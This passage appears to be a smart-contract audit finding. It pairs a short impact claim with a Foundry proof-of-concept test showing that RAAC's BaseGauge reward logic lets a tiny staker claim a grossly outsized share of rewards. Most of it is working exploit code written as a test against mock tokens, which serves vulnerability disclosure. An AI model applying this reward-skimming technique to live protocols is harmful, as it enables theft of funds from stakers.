My POC demonstrates that a user with just 0.0001% of the total stake (1 token vs 1M tokens) would receive up to 28% of the total rewards, representing a 280,000x multiplication of their rightful reward share. This creates a severe economic imbalance that could be exploited by malicious actors to drain protocol resources and destabilize the entire system.
2. Rewards accumulate over time
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../../contracts/core/governance/gauges/BaseGauge.sol";
import "../../../../../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
import "../../../../../contracts/interfaces/core/governance/gauges/IGauge.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
import "../../../../../contracts/core/governance/gauges/GaugeController.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
contract TestGauge is BaseGauge {
constructor(
address _rewardToken,
address _stakingToken,
address _controller,
uint256 _maxEmission,
uint256 _periodDuration
) BaseGauge(_rewardToken, _stakingToken, _controller, _maxEmission, _periodDuration) {
boostState.maxBoost = 25000;
boostState.minBoost = 10000;
boostState.boostWindow = 7 days;
}
function _getBaseWeight(address account) internal view override returns (uint256) {
return IGaugeController(controller).getGaugeWeight(address(this));
}
function getBaseWeight(address account) external view returns (uint256) {
return _getBaseWeight(account);
}
}
contract BaseGaugePOC is Test {
TestGauge public gauge;
MockERC20 public rewardToken;
MockERC20 public stakingToken;
GaugeController public controller;
veRAACToken public veToken;
address public owner = address(this);
function setUp() public {
rewardToken = new MockERC20("Reward", "RWD");
stakingToken = new MockERC20("Stake", "STK");
veToken = new veRAACToken(address(stakingToken));
deal(address(stakingToken), address(this), 1000e18);
stakingToken.approve(address(veToken), 1000e18);
veToken.lock(1000e18, 365 days);
controller = new GaugeController(address(veToken));
bytes32 GAUGE_ADMIN = controller.GAUGE_ADMIN();
bytes32 DEFAULT_ADMIN_ROLE = controller.DEFAULT_ADMIN_ROLE();
controller.grantRole(DEFAULT_ADMIN_ROLE, address(this));
controller.grantRole(GAUGE_ADMIN, address(this));
gauge = new TestGauge(
address(rewardToken),
address(stakingToken),
address(controller),
10_000e18,
7 days
);
controller.addGauge(
address(gauge),
IGaugeController.GaugeType.RAAC,
10e18
);
gauge.grantRole(gauge.CONTROLLER_ROLE(), owner);
}
function testRewardCalculationAttack() public {
address whale = address(0x1);
address minnow = address(0x2);
emit log_string("\n=== Initial Setup ===");
deal(address(veToken), whale, 1000e18);
deal(address(veToken), minnow, 1e18);
emit log_string("\n=== 1. Voting Setup ===");
vm.prank(whale);
IGaugeController(controller).vote(address(gauge), 100);
vm.prank(minnow);
IGaugeController(controller).vote(address(gauge), 100);
uint256 gaugeWeight = IGaugeController(controller).getGaugeWeight(address(gauge));
emit log_named_uint("Gauge global weight", gaugeWeight);
emit log_string("\n=== 2. Root Cause: _getBaseWeight Bug ===");
emit log_named_uint("Whale _getBaseWeight", gauge.getBaseWeight(whale));
emit log_named_uint("Minnow _getBaseWeight", gauge.getBaseWeight(minnow));
emit log_string("BUG: Both users get same base weight despite different stakes!");
emit log_string("\n=== 3. Staking Phase ===");
deal(address(stakingToken), whale, 1_000_000e18);
deal(address(stakingToken), minnow, 1e18);
vm.startPrank(whale);
stakingToken.approve(address(gauge), 1_000_000e18);
gauge.stake(1_000_000e18);
vm.stopPrank();
emit log_named_uint("Whale stake amount", gauge.balanceOf(whale));
vm.startPrank(minnow);
stakingToken.approve(address(gauge), 1e18);
gauge.stake(1e18);
vm.stopPrank();
emit log_named_uint("Minnow stake amount", gauge.balanceOf(minnow));
emit log_string("\n=== 4. Reward Distribution Setup ===");
deal(address(rewardToken), address(gauge), 100e18);
emit log_named_uint("Initial reward token balance", rewardToken.balanceOf(address(gauge)));
vm.prank(address(controller));
gauge.notifyRewardAmount(100e18);
emit log_named_uint("Initial rewardRate", gauge.rewardRate());
emit log_named_uint("Initial rewardPerTokenStored", gauge.rewardPerTokenStored());
emit log_string("\n=== 5. Time Passage & Reward Calculation ===");
vm.warp(block.timestamp + 7 days);
emit log_named_uint("New rewardPerTokenStored", gauge.rewardPerTokenStored());
uint256 whaleWeight = gauge.getUserWeight(whale);
uint256 minnowWeight = gauge.getUserWeight(minnow);
emit log_named_uint("Whale user weight", whaleWeight);
emit log_named_uint("Minnow user weight", minnowWeight);
emit log_string("BUG: Weights nearly equal despite 1M:1 stake difference!");
uint256 whaleEarned = gauge.earned(whale);
uint256 minnowEarned = gauge.earned(minnow);
emit log_named_uint("Whale earned", whaleEarned);
emit log_named_uint("Minnow earned", minnowEarned);
emit log_string("\n=== 6. Reward Claims ===");
vm.prank(whale);
gauge.getReward();
vm.prank(minnow);
gauge.getReward();
uint256 whaleRewards = rewardToken.balanceOf(whale);
uint256 minnowRewards = rewardToken.balanceOf(minnow);
emit log_string("\n=== Economic Attack Vector ===");
emit log_named_uint("Minnow stake", 1e18);
emit log_named_uint("Whale stake", 1_000_000e18);
emit log_named_uint("Minnow capital commitment", 1);
emit log_named_uint("Minnow reward share", (minnowRewards * 100) / (whaleRewards + minnowRewards));
assertTrue(
minnowRewards > (whaleRewards / 100),
"Vulnerability: Minnow with 0.0001% stake gets disproportionate rewards"
);
}
}